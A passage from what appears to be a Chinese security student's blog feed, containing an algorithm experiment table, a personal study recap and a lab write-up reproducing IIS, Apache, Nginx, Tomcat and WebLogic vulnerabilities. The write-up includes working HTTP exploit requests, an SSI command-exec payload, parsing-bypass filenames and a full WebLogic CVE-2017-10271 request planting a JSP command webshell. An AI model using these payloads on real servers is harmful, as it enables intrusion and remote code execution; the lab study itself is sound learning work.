0</td><td>6.283582</td><td>3</td><td>1.39E+09</td></tr><tr><td>2700000</td><td>6.282394</td><td>2</td><td>1.31E+09</td></tr><tr><td>2800000</td><td>6.282903</td><td>2</td><td>1.23E+09</td></tr><tr><td>2900000</td><td>6.281754</td><td>2</td><td>1.36E+09</td></tr><tr><td>3000000</td><td>6.281253</td><td>2</td><td>1.49E+09</td></tr><tr><td>3100000</td><td>6.279819</td><td>1</td><td>1.3E+09</td></tr><tr><td>3200000</td><td>6.29046</td><td>1</td><td>1.37E+09</td></tr><tr><td>3300000</td><td>6.286676</td><td>2</td><td>1.52E+09</td></tr><tr><td>3400000</td><td>6.284696</td><td>2</td><td>1.62E+09</td></tr><tr><td>3500000</td><td>6.288009</td><td>2</td><td>1.44E+09</td></tr><tr><td>3600000</td><td>6.284267</td><td>2</td><td>1.46E+09</td></tr><tr><td>3700000</td><td>6.281764</td><td>2</td><td>1.59E+09</td></tr><tr><td>3800000</td><td>6.279811</td><td>1</td><td>1.58E+09</td></tr><tr><td>3900000</td><td>6.285087</td><td>2</td><td>1.59E+09</td></tr><tr><td>4000000</td><td>6.28536</td><td>2</td><td>1.67E+09</td></tr><tr><td>4100000</td><td>6.290115</td><td>1</td><td>1.73E+09</td></tr><tr><td>4200000</td><td>6.284518</td><td>2</td><td>1.73E+09</td></tr><tr><td>4300000</td><td>6.283877</td><td>3</td><td>1.76E+09</td></tr><tr><td>4400000</td><td>6.282829</td><td>2</td><td>1.97E+09</td></tr><tr><td>4500000</td><td>6.286908</td><td>2</td><td>1.91E+09</td></tr><tr><td>4600000</td><td>6.282063</td><td>2</td><td>1.92E+09</td></tr><tr><td>4700000</td><td>6.283149</td><td>4</td><td>1.91E+09</td></tr><tr><td>4800000</td><td>6.278213</td><td>1</td><td>1.93E+09</td></tr><tr><td>4900000</td><td>6.283096</td><td>3</td><td>1.98E+09</td></tr><tr><td>5000000</td><td>6.285933</td><td>2</td><td>2.04E+09</td></tr><tr><td>5100000</td><td>6.277989</td><td>1</td><td>2.06E+09</td></tr><tr><td>5200000</td><td>6.285711</td><td>2</td><td>2.13E+09</td></tr><tr><td>5300000</td><td>6.28368</td><td>3</td><td>2.13E+09</td></tr><tr><td>5400000</td><td>6.286107</td><td>2</td><td>2.17E+09</td></tr><tr><td>5500000</td><td>6.282435</td><td>2</td><td>2.26E+09</td></tr><tr><td>5600000</td><td>6.279869</td><td>1</td><td>2.25E+09</td></tr><tr><td>5700000</td><td>6.280334</td><td>2</td><td>2.33E+09</td></tr><tr><td>5800000</td><td>6.281887</td><td>2</td><td>2.32E+09</td></tr><tr><td>5900000</td><td>6.281622</td><td>2</td><td>2.4E+09</td></tr><tr><td>6000000</td><td>6.28064</td><td>2</td><td>2.41E+09</td></tr><tr><td>6100000</td><td>6.282083</td><td>2</td><td>2.46E+09</td></tr><tr><td>6200000</td><td>6.28328</td><td>3</td><td>2.55E+09</td></tr><tr><td>6300000</td><td>6.28864</td><td>2</td><td>2.52E+09</td></tr><tr><td>6400000</td><td>6.284665</td><td>2</td><td>2.61E+09</td></tr><tr><td>6500000</td><td>6.277135</td><td>1</td><td>2.63E+09</td></tr><tr><td>6600000</td><td>6.279663</td><td>1</td><td>2.69E+09</td></tr><tr><td>6700000</td><td>6.28278</td><td>2</td><td>2.7E+09</td></tr><tr><td>6800000</td><td>6.284525</td><td>2</td><td>2.8E+09</td></tr><tr><td>6900000</td><td>6.28151</td><td>2</td><td>2.79E+09</td></tr><tr><td>7000000</td><td>6.280459</td><td>2</td><td>2.88E+09</td></tr><tr><td>7100000</td><td>6.281161</td><td>2</td><td>2.86E+09</td></tr><tr><td>7200000</td><td>6.286244</td><td>2</td><td>2.93E+09</td></tr><tr><td>7300000</td><td>6.281981</td><td>2</td><td>2.96E+09</td></tr><tr><td>7400000</td><td>6.285689</td><td>2</td><td>2.95E+09</td></tr><tr><td>7500000</td><td>6.283667</td><td>3</td><td>3.02E+09</td></tr><tr><td>7600000</td><td>6.290509</td><td>1</td><td>3.06E+09</td></tr><tr><td>7700000</td><td>6.276852</td><td>1</td><td>3.11E+09</td></tr><tr><td>7800000</td><td>6.285124</td><td>2</td><td>3.15E+09</td></tr><tr><td>7900000</td><td>6.280028</td><td>2</td><td>3.44E+09</td></tr><tr><td>8000000</td><td>6.28374</td><td>3</td><td>3.41E+09</td></tr><tr><td>8100000</td><td>6.288535</td><td>2</td><td>3.43E+09</td></tr><tr><td>8200000</td><td>6.287434</td><td>2</td><td>3.65E+09</td></tr><tr><td>8300000</td><td>6.282903</td><td>2</td><td>3.65E+09</td></tr><tr><td>8400000</td><td>6.283857</td><td>3</td><td>3.86E+09</td></tr><tr><td>8500000</td><td>6.28032</td><td>2</td><td>3.69E+09</td></tr><tr><td>8600000</td><td>6.287222</td><td>2</td><td>3.8E+09</td></tr><tr><td>8700000</td><td>6.283474</td><td>3</td><td>3.71E+09</td></tr><tr><td>8800000</td><td>6.279855</td><td>1</td><td>3.96E+09</td></tr><tr><td>8900000</td><td>6.278342</td><td>1</td><td>4.07E+09</td></tr><tr><td>9000000</td><td>6.283404</td><td>3</td><td>3.74E+09</td></tr><tr><td>9100000</td><td>6.282576</td><td>2</td><td>3.85E+09</td></tr><tr><td>9200000</td><td>6.27935</td><td>1</td><td>4.51E+09</td></tr><tr><td>9300000</td><td>6.281237</td><td>2</td><td>3.94E+09</td></tr><tr><td>9400000</td><td>6.279619</td><td>1</td><td>3.98E+09</td></tr><tr><td>9500000</td><td>6.279828</td><td>1</td><td>4.45E+09</td></tr><tr><td>9600000</td><td>6.286072</td><td>2</td><td>4.06E+09</td></tr><tr><td>9700000</td><td>6.286959</td><td>2</td><td>4.43E+09</td></tr><tr><td>9800000</td><td>6.282785</td><td>2</td><td>3.97E+09</td></tr><tr><td>9900000</td><td>6.28725</td><td>2</td><td>4.05E+09</td></tr><tr><td>10000000</td><td>6.282206</td><td>2</td><td>4.46E+09</td></tr><tr><td>10100000</td><td>6.285659</td><td>2</td><td>4.27E+09</td></tr><tr><td>10200000</td><td>6.278947</td><td>1</td><td>4.76E+09</td></tr><tr><td>10300000</td><td>6.277605</td><td>1</td><td>5E+09</td></tr><tr><td>10400000</td><td>6.287028</td><td>2</td><td>4.82E+09</td></tr><tr><td>10500000</td><td>6.283712</td><td>3</td><td>4.85E+09</td></tr><tr><td>10600000</td><td>6.281265</td><td>2</td><td>5.81E+09</td></tr><tr><td>10700000</td><td>6.27959</td><td>1</td><td>5.49E+09</td></tr><tr><td>10800000</td><td>6.281514</td><td>2</td><td>4.95E+09</td></tr></tbody></table><p><img src="/images/pasted-654.png" alt="upload successful"></p><p>数据可视化</p><p><img src="/images/pasted-655.png" alt="upload successful"></p><p>可以发现随着n的增大，数据的相当位数越多，数据越平稳，同样的运行时间更长，符合预期</p><h3 id="实验环境-5"><a href="#实验环境-5" class="headerlink" title="实验环境"></a>实验环境</h3><p>golang</p><p>excel</p><h3 id="疑难小结-5"><a href="#疑难小结-5" class="headerlink" title="疑难小结"></a>疑难小结</h3><p>当n逐渐增大时数据的精确度很难提高了，运行了一会最多相当的位数也就是4，后来很蛮了 ，随着位数的增大，数据精度也需要提高了，即生成的随机坐标的精度，推论出坐标精度决定数据的精度<br><img src="/images/pasted-656.png" alt="upload successful"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;&lt;img src=&quot;/images/pasted-673.png&quot; alt=&quot;upload successful&quot;&gt;&lt;br&gt;算法设计与分析实
      
    
    </summary>
    
    
      <category term="安全开发" scheme="https://lnng.top/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
    
    
      <category term="算法" scheme="https://lnng.top/tags/%E7%AE%97%E6%B3%95/"/>
    
  </entry>
  
  <entry>
    <title>摸鱼web安全两年总结</title>
    <link href="https://lnng.top/posts/fdb2.html"/>
    <id>https://lnng.top/posts/fdb2.html</id>
    <published>2021-10-01T12:17:00.000Z</published>
    <updated>2021-10-01T12:25:02.432Z</updated>
    
    <content type="html"><![CDATA[<h3 id="开学了"><a href="#开学了" class="headerlink" title="开学了"></a>开学了</h3><p>大三开学了，What’s up，转眼都大三了，学网络安全两年(摸了两年🐟)，回顾一下</p><blockquote><p>发现自己越来越菜…</p></blockquote><h3 id="回顾"><a href="#回顾" class="headerlink" title="回顾"></a>回顾</h3><p>看看去年立的flag<a href="https://lnng.top/posts/ba80.html">学习安全一年总结</a></p><table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>打打vulnhub</td><td>✓  打了DC1-9</td></tr><tr><td>继续学习常见漏洞</td><td>✓ 看了中间件 thinkphp一点</td></tr><tr><td>学习代码审计</td><td>× 就看过两三个cms，废了废了</td></tr><tr><td>学习内网相关知识</td><td>✓ att&amp;ck打了几个，看了一些认证协议，写了个免杀小工具</td></tr><tr><td>学习脚本语言Python</td><td>× Python直接没咋看，就平常看些师傅的工具 ，改看go了</td></tr><tr><td>sqlmap等工具，也尝试自己写点小工具(尽力吧!?)</td><td>× sqlmap看了几个命令，没整tamper(等于没学)    小工具没咋写(马上写！！！)</td></tr></tbody></table><hr><p>总结:</p><p>flag白立了<img src="/images/pasted-633.png" alt="upload successful"></p><h3 id="继续立flag！！！一定完成"><a href="#继续立flag！！！一定完成" class="headerlink" title="继续立flag！！！一定完成"></a>继续立flag！！！一定完成</h3><ul><li>阅读师傅们优秀的开源代码，写个稍微大点的工具项目</li><li>学习java框架，看看java审计， 熟悉php代码审计，了解使用CodeQL 代码审计工具原理</li><li>了解小程序 app 硬件设备渗透思路 了解二进制逆向反编译</li><li>继续熟悉内网渗透 了解windows api pe等结构结构</li><li>了解钓鱼攻击，近源攻击 社会工程学 等攻击手法</li><li>了解下机器学习，看看能不能运用到web安全</li><li>挖到几个”有意思”的洞或大厂的洞</li></ul><p>要学的还有蛮多的比如js逆向啥的感觉也得看看，web安全的学习之路是无止境的啊！要保持终身学习!</p><p><img src="/images/pasted-634.png" alt="upload successful"></p><h3 id="最重要"><a href="#最重要" class="headerlink" title="最重要"></a>最重要</h3><p>找到喜欢的web安全方向       学有所广  学有所深</p><p>还有考研和工作方面的选择。。。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;开学了&quot;&gt;&lt;a href=&quot;#开学了&quot; class=&quot;headerlink&quot; title=&quot;开学了&quot;&gt;&lt;/a&gt;开学了&lt;/h3&gt;&lt;p&gt;大三开学了，What’s up，转眼都大三了，学网络安全两年(摸了两年🐟)，回顾一下&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;发现
      
    
    </summary>
    
    
      <category term="个人日常" scheme="https://lnng.top/categories/%E4%B8%AA%E4%BA%BA%E6%97%A5%E5%B8%B8/"/>
    
    
      <category term="日记" scheme="https://lnng.top/tags/%E6%97%A5%E8%AE%B0/"/>
    
  </entry>
  
  <entry>
    <title>常见中间件漏洞</title>
    <link href="https://lnng.top/posts/43af.html"/>
    <id>https://lnng.top/posts/43af.html</id>
    <published>2021-08-09T03:16:00.000Z</published>
    <updated>2021-08-24T13:10:09.702Z</updated>
    
    <content type="html"><![CDATA[<h3 id="中间件"><a href="#中间件" class="headerlink" title="中间件"></a>中间件</h3><p>中间件也是web漏洞的一个方面，中间件 脚本语言 数据库三者之间是由关系的，比如说java 常用tomcat(当然还和系统的大小有关)，而中间件本身还是有很多漏洞的，所以自己简单总结一下复现一下常见的中间件漏洞(记录笔记)。</p><h3 id="IIS漏洞"><a href="#IIS漏洞" class="headerlink" title="IIS漏洞"></a>IIS漏洞</h3><h4 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h4><p>IIS简介<br>IIS是Internet Information Services的缩写，意为互联网信息服务，是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。最初是Windows NT版本的可选包，随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行，但在Windows XP Home版本上并没有IIS。IIS是一种Web（网页）服务组件，其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器，分别用于网页浏览、文件传输、新闻服务和邮件发送等方面，它使得在网络（包括互联网和局域网）上发布信息成了一件很容易的事。</p><p>IIS的安全脆弱性曾长时间被业内诟病，一旦IIS出现远程执行漏洞威胁将会非常严重。远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中，当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码，可以导致IIS服务器所在机器蓝屏或读取其内存中的机密数据</p><h4 id="PUT写漏洞"><a href="#PUT写漏洞" class="headerlink" title="PUT写漏洞"></a>PUT写漏洞</h4><p>漏洞介绍及成因</p><p>IIS Server 在 Web 服务扩展中开启了 WebDAV ，配置了可以写入的权限，造成任意文件上传。</p><p>版本： IIS6.0<br>开启WebDAV 和写权限</p><p><img src="/images/pasted-561.png" alt="upload successful"></p><p><img src="/images/pasted-563.png" alt="upload successful"><br>向服务器发送OPTIONS请求包:</p><pre><code>OPTIONS / HTTP/1.1Host: 192.168.124.141User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Fri, 21 Feb 2003 12:15:52 GMTIf-None-Match: &quot;0ce1f9a2d9c21:415&quot;Cache-Control: max-age=0</code></pre><p><img src="/images/pasted-562.png" alt="upload successful"><br>先使用PUT方法上传一个txt文件然后在使用MOVE方法进行修改,当然你得有写入权限：<br><img src="/images/pasted-564.png" alt="upload successful"></p><p><img src="/images/pasted-565.png" alt="upload successful"><br>然后发送数据包</p><pre><code>MOVE /lnng.txt HTTP/1.1Host: 192.168.124.141Destination: http://192.168.124.141/lnng.aspContent-Length: 0</code></pre><p>要有空行，没有空行是复现不成功的(这里坑了我好久)<br><img src="/images/pasted-566.png" alt="upload successful"></p><h4 id="短文件名猜解"><a href="#短文件名猜解" class="headerlink" title="短文件名猜解"></a>短文件名猜解</h4><p>漏洞介绍及成因</p><p>IIS的短文件名机制，可以暴力猜解短文件名，访问构造的某个存在的短文件名，会返回404，访问构造的某个不存在的短文件名，返回400。</p><p>为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3短文件名。</p><p>可以测试一下<br>在Windows下查看对应的短文件名,可以使用命令dir  /x<br>创建一个<br>lnnnnnnng.html文件<br><img src="/images/pasted-568.png" alt="upload successful"><br>我没复现出来应该和版本有关，怎么访问都是404，有大佬知道为啥，请指点一下<br><img src="/images/pasted-570.png" alt="upload successful"><br><img src="/images/pasted-569.png" alt="upload successful"></p><h4 id="CVE-2017-7269"><a href="#CVE-2017-7269" class="headerlink" title="CVE-2017-7269"></a>CVE-2017-7269</h4><p>是IIS 6.0中存在的一个栈溢出漏洞，在IIS6.0处理PROPFIND指令的时候，由于对url的长度没有进行有效的长度控制和检查，导致执行memcpy对虚拟路径进行构造的时候，引发栈溢出，该漏洞可以导致远程代码执行。</p><p>msf可以一把梭</p><p>github也有脚本<br><a href="https://github.com/lcatro/CVE-2017-7269-Echo-PoC" target="_blank" rel="noopener">https://github.com/lcatro/CVE-2017-7269-Echo-PoC</a></p><p>原理:<br><a href="https://paper.seebug.org/259/" target="_blank" rel="noopener">https://paper.seebug.org/259/</a></p><h4 id="解析漏洞"><a href="#解析漏洞" class="headerlink" title="解析漏洞"></a>解析漏洞</h4><p>iis6.0(分号截断)  例如上传asp木马  可以通过 x.asp;.jpg来绕过</p><p>iis6.0(在以*.asp命名的文件夹下所有的文件都会被解析成asp文件)  例如我们可以控制上传文件夹，就可以绕过限制image.asp/x.jpg x.jpg被解析成asp</p><p>iis7.0或iis7.5在使FastCGI方式调用php时，在php.ini里设置cgi.fix_pathinfo=1URL时，在URL后面添加“/x.php”等字符时，该文件被iis当php文件代码解析<br>“test.jpg/.php”</p><h3 id="Apache漏洞"><a href="#Apache漏洞" class="headerlink" title="Apache漏洞"></a>Apache漏洞</h3><h4 id="解析漏洞-1"><a href="#解析漏洞-1" class="headerlink" title="解析漏洞"></a>解析漏洞</h4><p>Apache默认一个文件可以有多个以点分隔的后缀，当右边的后缀无法识别（不在mime.tyoes内），则继续向左识别，当我们请求这样一个文件：shell.php.xxx.yyy<br>yyy-&gt;无法识别，向左</p><p>xxx-&gt;无法识别，向左</p><p>直到php<br>但好像只适用于以module方式解析php的apache(可能说错了，我测试是这样的)<br>复现这里使用phpstudy<br>选择非nts，非nts就是module方式(测试选择nts模式没法解析)<br><img src="/images/pasted-571.png" alt="upload successful"><br><img src="/images/pasted-572.png" alt="upload successful"><br>修复方法:</p><pre><code>注释掉AddType application/x-httpd-php .php</code></pre><p><img src="/images/pasted-573.png" alt="upload successful"></p><p><img src="/images/pasted-574.png" alt="upload successful"></p><h4 id="Apache-HTTPD-换行解析漏洞（CVE-2017-15715）"><a href="#Apache-HTTPD-换行解析漏洞（CVE-2017-15715）" class="headerlink" title="Apache HTTPD 换行解析漏洞（CVE-2017-15715）"></a>Apache HTTPD 换行解析漏洞（CVE-2017-15715）</h4><p>这里使用vulhub复现<br>地址:<br><a href="https://github.com/vulhub/vulhub" target="_blank" rel="noopener">https://github.com/vulhub/vulhub</a></p><p><img src="/images/pasted-575.png" alt="upload successful"></p><p><img src="/images/pasted-576.png" alt="upload successful"><br>上传一个php文件被拒绝</p><p><img src="/images/pasted-577.png" alt="upload successful"><br>在1.php后面插入一个\x0A</p><p><img src="/images/pasted-578.png" alt="upload successful"><br>发现能够成功解析，但这个文件不是php后缀，存在在解析漏洞<br><img src="/images/pasted-579.png" alt="upload successful"></p><h4 id="Apache-SSI-远程命令执行漏洞"><a href="#Apache-SSI-远程命令执行漏洞" class="headerlink" title="Apache SSI 远程命令执行漏洞"></a>Apache SSI 远程命令执行漏洞</h4><p>当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。</p><p>使用SSI(Server Side Include)的html文件扩展名，SSI（Server Side Include)，通常称为”服务器端嵌入”或者叫”服务器端包含”，是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。</p><p>上传一个shell.shtml 内容 <!--#exec cmd="id" --><br>同样使用vulhub复现<br>地址:<a href="https://github.com/vulhub/vulhub" target="_blank" rel="noopener">https://github.com/vulhub/vulhub</a><br>正常上传文件不被允许<br><img src="/images/pasted-580.png" alt="upload successful"><br>正常上传PHP文件是不允许的，我们可以上传一个shell.shtml文件：</p><pre><code> &lt;!--#exec cmd=&quot;id&quot; --&gt;</code></pre><p><img src="/images/pasted-582.png" alt="upload successful"></p><p><img src="/images/pasted-583.png" alt="upload successful"></p><h3 id="nginx漏洞"><a href="#nginx漏洞" class="headerlink" title="nginx漏洞"></a>nginx漏洞</h3><h4 id="Nginx解析漏洞"><a href="#Nginx解析漏洞" class="headerlink" title="Nginx解析漏洞"></a>Nginx解析漏洞</h4><p>该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞<br>同样使用vulhub复现<br>地址:<a href="https://github.com/vulhub/vulhub" target="_blank" rel="noopener">https://github.com/vulhub/vulhub</a></p><p><img src="/images/pasted-584.png" alt="upload successful"><br>正常上传图片<br><img src="/images/pasted-585.png" alt="upload successful"></p><p><img src="/images/pasted-586.png" alt="upload successful"><br>图片没问题<br>/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/.php<br><img src="/images/pasted-587.png" alt="upload successful"><br>成功解析为php<br>修复:</p><pre><code>1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php</code></pre><h4 id="Nginx-配置错误三列"><a href="#Nginx-配置错误三列" class="headerlink" title="Nginx 配置错误三列"></a>Nginx 配置错误三列</h4><h5 id="CRLF注入漏洞"><a href="#CRLF注入漏洞" class="headerlink" title="CRLF注入漏洞"></a>CRLF注入漏洞</h5><p>Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，造成CRLF注入漏洞。</p><p>可以构造xss 注入一些会话cookie</p><p><img src="/images/pasted-589.png" alt="upload successful"><br>但是尝试发现会被302重定向，没法弹窗</p><p><img src="/images/pasted-590.png" alt="upload successful"><br>按照大佬的方法我还是没复现成功不知为啥，确实不会重定向跳转<br>而且X-XSS-Protection:0但是还是没有弹窗不知为啥<br><img src="/images/pasted-591.png" alt="upload successful"><br><a href="https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html</a><br>师傅们知道还请指点一下</p><h5 id="目录穿越漏洞"><a href="#目录穿越漏洞" class="headerlink" title="目录穿越漏洞"></a>目录穿越漏洞</h5><p>Nginx在配置别名（Alias）的时候，如果忘记加/闭合，将造成一个目录穿越漏洞。<br><img src="/images/pasted-592.png" alt="upload successful"></p><h4 id="Nginx-文件名逻辑漏洞（CVE-2013-4547）"><a href="#Nginx-文件名逻辑漏洞（CVE-2013-4547）" class="headerlink" title="Nginx 文件名逻辑漏洞（CVE-2013-4547）"></a>Nginx 文件名逻辑漏洞（CVE-2013-4547）</h4><p>正常情况下（关闭pathinfo的情况下），只有.php后缀的文件才会被发送给fastcgi解析。</p><p>而存在CVE-2013-4547的情况下，我们请求1.gif[0x20][0x00].php，这个URI可以匹配上正则.php$，可以进入这个Location块；但进入后，Nginx却错误地认为请求的文件是1.gif[0x20]，就设置其为SCRIPT_FILENAME的值发送给fastcgi。</p><p>fastcgi根据SCRIPT_FILENAME的值进行解析，最后造成了解析漏洞。</p><p>所以，我们只需要上传一个空格结尾的文件，即可使PHP解析之。</p><p>复现</p><p><img src="/images/pasted-593.png" alt="upload successful"></p><p><img src="/images/pasted-594.png" alt="upload successful"></p><h3 id="Tomcat漏洞"><a href="#Tomcat漏洞" class="headerlink" title="Tomcat漏洞"></a>Tomcat漏洞</h3><p>是开发和调试JSP 程序的首选。实际上Tomcat是Apache 服务器的扩展，但运行时它是独立运行的，所以当运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的。 Apache是web服务器，Tomcat是应用（java）服务器，它只是一个servlet容器，是Apache的扩展。</p><h4 id="Tomcat-PUT方法任意写文件漏洞（CVE-2017-12615）"><a href="#Tomcat-PUT方法任意写文件漏洞（CVE-2017-12615）" class="headerlink" title="Tomcat PUT方法任意写文件漏洞（CVE-2017-12615）"></a>Tomcat PUT方法任意写文件漏洞（CVE-2017-12615）</h4><p>漏洞本质Tomcat配置了可写（readonly=false），导致我们可以往服务器写文件</p><p>虽然Tomcat对文件后缀有一定检测（不能直接写jsp），但我们使用一些文件系统的特性（如Linux下可用/）来绕过了限制。</p><p><img src="/images/pasted-595.png" alt="upload successful"></p><p><img src="/images/pasted-596.png" alt="upload successful"></p><h4 id="Tomcat7-弱口令-amp-amp-后台getshell漏洞war后门文件部署"><a href="#Tomcat7-弱口令-amp-amp-后台getshell漏洞war后门文件部署" class="headerlink" title="Tomcat7+ 弱口令 &amp;&amp; 后台getshell漏洞war后门文件部署"></a>Tomcat7+ 弱口令 &amp;&amp; 后台getshell漏洞war后门文件部署</h4><p>Tomcat支持在后台部署war文件，可以直接将webshell部署到web目录下。其中，欲访问后台，需要对应用户有相应权限。</p><p>Tomcat7+权限分为：</p><p>manager（后台管理）<br>manager-gui 拥有html页面权限<br>manager-status 拥有查看status的权限<br>manager-script 拥有text接口的权限，和status权限<br>manager-jmx 拥有jmx权限，和status权限<br>host-manager（虚拟主机管理）<br>admin-gui 拥有html页面权限<br>admin-script 拥有text接口权限<br>这些权限的究竟有什么作用，详情阅读 <a href="http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html" target="_blank" rel="noopener">http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html</a></p><pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;tomcat-users xmlns=&quot;http://tomcat.apache.org/xml&quot;              xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;              xsi:schemaLocation=&quot;http://tomcat.apache.org/xml tomcat-users.xsd&quot;              version=&quot;1.0&quot;&gt;    &lt;role rolename=&quot;manager-gui&quot;/&gt;    &lt;role rolename=&quot;manager-script&quot;/&gt;    &lt;role rolename=&quot;manager-jmx&quot;/&gt;    &lt;role rolename=&quot;manager-status&quot;/&gt;    &lt;role rolename=&quot;admin-gui&quot;/&gt;    &lt;role rolename=&quot;admin-script&quot;/&gt;    &lt;user username=&quot;tomcat&quot; password=&quot;tomcat&quot; roles=&quot;manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script&quot; /&gt;&lt;/tomcat-users&gt;</code></pre><p>正常安装的情况下，tomcat8中默认没有任何用户，且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下，才可以进行攻击。</p><p><img src="/images/pasted-597.png" alt="upload successful"><br>输入弱密码tomcat:tomcat<br>制作war文件<br>1.jsp木马压缩为zip，改后缀zip为war上传1.war文件即可</p><p><img src="/images/pasted-598.png" alt="upload successful"><br>漏洞修复</p><p>1）在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户，该用户只能拥有一组最小权限（例如不允许远程登录）。</p><p>2）增加对于本地和基于证书的身份验证，部署账户锁定机制（对于集中式认证，目录服务也要做相应配置）。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。</p><p>3）以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。</p><p>4）后台管理避免弱口令。</p><h4 id="Aapache-Tomcat-AJP-文件包含漏洞（CVE-2020-1938）"><a href="#Aapache-Tomcat-AJP-文件包含漏洞（CVE-2020-1938）" class="headerlink" title="Aapache Tomcat AJP 文件包含漏洞（CVE-2020-1938）"></a>Aapache Tomcat AJP 文件包含漏洞（CVE-2020-1938）</h4><p>由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞，由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。<br>测试工具<br><a href="https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi" target="_blank" rel="noopener">https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi</a><br><img src="/images/pasted-599.png" alt="upload successful"></p><h3 id="WebLogic"><a href="#WebLogic" class="headerlink" title="WebLogic"></a>WebLogic</h3><p>WebLogic是美国Oracle公司出品的一个applicationserver，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。</p><h4 id="Weblogic-lt-10-3-6-‘wls-wsat’-XMLDecoder-反序列化漏洞（CVE-2017-10271）"><a href="#Weblogic-lt-10-3-6-‘wls-wsat’-XMLDecoder-反序列化漏洞（CVE-2017-10271）" class="headerlink" title="Weblogic &lt; 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞（CVE-2017-10271）"></a>Weblogic &lt; 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞（CVE-2017-10271）</h4><p>Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。</p><p>漏洞复现<br>写入webshell</p><pre><code>POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.124.136:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 989&lt;soapenv:Envelope xmlns:soapenv=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;    &lt;soapenv:Header&gt;    &lt;work:WorkContext xmlns:work=&quot;http://bea.com/2004/06/soap/workarea/&quot;&gt;    &lt;java&gt;&lt;java version=&quot;1.4.0&quot; class=&quot;java.beans.XMLDecoder&quot;&gt;    &lt;object class=&quot;java.io.PrintWriter&quot;&gt;     &lt;string&gt;servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp&lt;/string&gt;    &lt;void method=&quot;println&quot;&gt;&lt;string&gt;    &lt;![CDATA[&lt;%    if(&quot;lnng&quot;.equals(request.getParameter(&quot;pwd&quot;))){        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(&quot;i&quot;)).getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print(&quot;&lt;pre&gt;&quot;);        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print(&quot;&lt;/pre&gt;&quot;);    }%&gt;    ]]&gt;    &lt;/string&gt;    &lt;/void&gt;    &lt;void method=&quot;close&quot;/&gt;    &lt;/object&gt;&lt;/java&gt;&lt;/java&gt;    &lt;/work:WorkContext&gt;    &lt;/soapenv:Header&gt;    &lt;soapenv:Body/&gt;&lt;/soapenv:Envelope&gt;</code></pre><p><img src="/images/pasted-600.png" alt="upload successful"></p><p><img src="/images/pasted-601.png" alt="upload successful"></p><p><img src="/images/pasted-602.png" alt="upload 